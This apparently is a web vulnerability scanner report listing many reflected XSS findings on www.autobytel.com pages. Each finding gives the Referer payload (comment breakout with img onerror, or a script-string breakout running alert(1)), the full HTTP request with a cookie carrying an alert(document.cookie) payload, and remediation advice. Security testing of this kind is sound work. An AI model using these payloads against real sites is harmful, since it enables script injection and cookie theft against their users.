The value of the Referer HTTP header is copied into an HTML comment. The payload 43b1a--><img%20src%3da%20onerror%3dalert(1)>19c294b5521 was submitted in the Referer HTTP header. This input was echoed as 43b1a--><img src=a onerror=alert(1)>19c294b5521 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET / HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=43b1a--><img%20src%3da%20onerror%3dalert(1)>19c294b5521
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98463"%3balert(1)//4b2bfd1744b was submitted in the Referer HTTP header. This input was echoed as 98463";alert(1)//4b2bfd1744b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=98463"%3balert(1)//4b2bfd1744b
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cd812"%3balert(1)//9e2802c099f was submitted in the Referer HTTP header. This input was echoed as cd812";alert(1)//9e2802c099f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /a.cfml HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=cd812"%3balert(1)//9e2802c099f
The value of the Referer HTTP header is copied into an HTML comment. The payload 15764--><img%20src%3da%20onerror%3dalert(1)>d38ec732909 was submitted in the Referer HTTP header. This input was echoed as 15764--><img src=a onerror=alert(1)>d38ec732909 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /a.cfml HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=15764--><img%20src%3da%20onerror%3dalert(1)>d38ec732909
The value of the Referer HTTP header is copied into an HTML comment. The payload 303f1--><img%20src%3da%20onerror%3dalert(1)>22eba66e9cd was submitted in the Referer HTTP header. This input was echoed as 303f1--><img src=a onerror=alert(1)>22eba66e9cd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /ask-our-mechanics/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=303f1--><img%20src%3da%20onerror%3dalert(1)>22eba66e9cd
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d81f"%3balert(1)//3dfa9812b5a was submitted in the Referer HTTP header. This input was echoed as 7d81f";alert(1)//3dfa9812b5a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ask-our-mechanics/my-garage.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=7d81f"%3balert(1)//3dfa9812b5a
The value of the Referer HTTP header is copied into an HTML comment. The payload fc74a--><img%20src%3da%20onerror%3dalert(1)>d60633d14d1 was submitted in the Referer HTTP header. This input was echoed as fc74a--><img src=a onerror=alert(1)>d60633d14d1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /auto-insurance-quotes.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=fc74a--><img%20src%3da%20onerror%3dalert(1)>d60633d14d1
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e29b9"%3balert(1)//723a49350c8 was submitted in the Referer HTTP header. This input was echoed as e29b9";alert(1)//723a49350c8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /auto-insurance-quotes.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=e29b9"%3balert(1)//723a49350c8
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 58fb1"%3balert(1)//f762c262f48 was submitted in the Referer HTTP header. This input was echoed as 58fb1";alert(1)//f762c262f48 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-advice.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=58fb1"%3balert(1)//f762c262f48
The value of the Referer HTTP header is copied into an HTML comment. The payload c62ef--><img%20src%3da%20onerror%3dalert(1)>8fc335ce01b was submitted in the Referer HTTP header. This input was echoed as c62ef--><img src=a onerror=alert(1)>8fc335ce01b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /car-advice.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=c62ef--><img%20src%3da%20onerror%3dalert(1)>8fc335ce01b
The value of the Referer HTTP header is copied into an HTML comment. The payload 174c5--><img%20src%3da%20onerror%3dalert(1)>1dccc386485 was submitted in the Referer HTTP header. This input was echoed as 174c5--><img src=a onerror=alert(1)>1dccc386485 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /car-blog.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=174c5--><img%20src%3da%20onerror%3dalert(1)>1dccc386485
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cc9a7"%3balert(1)//2128de599ac was submitted in the Referer HTTP header. This input was echoed as cc9a7";alert(1)//2128de599ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-blog.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=cc9a7"%3balert(1)//2128de599ac
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5b925"%3balert(1)//7f41c8730bc was submitted in the Referer HTTP header. This input was echoed as 5b925";alert(1)//7f41c8730bc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-dealers.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=5b925"%3balert(1)//7f41c8730bc
The value of the Referer HTTP header is copied into an HTML comment. The payload d824a--><img%20src%3da%20onerror%3dalert(1)>c54ae44041b was submitted in the Referer HTTP header. This input was echoed as d824a--><img src=a onerror=alert(1)>c54ae44041b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /car-dealers.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=d824a--><img%20src%3da%20onerror%3dalert(1)>c54ae44041b
The value of the Referer HTTP header is copied into an HTML comment. The payload 93624--><img%20src%3da%20onerror%3dalert(1)>a406ae0398d was submitted in the Referer HTTP header. This input was echoed as 93624--><img src=a onerror=alert(1)>a406ae0398d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /car-financing.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=93624--><img%20src%3da%20onerror%3dalert(1)>a406ae0398d
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4487a"%3balert(1)//fd21207da5d was submitted in the Referer HTTP header. This input was echoed as 4487a";alert(1)//fd21207da5d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
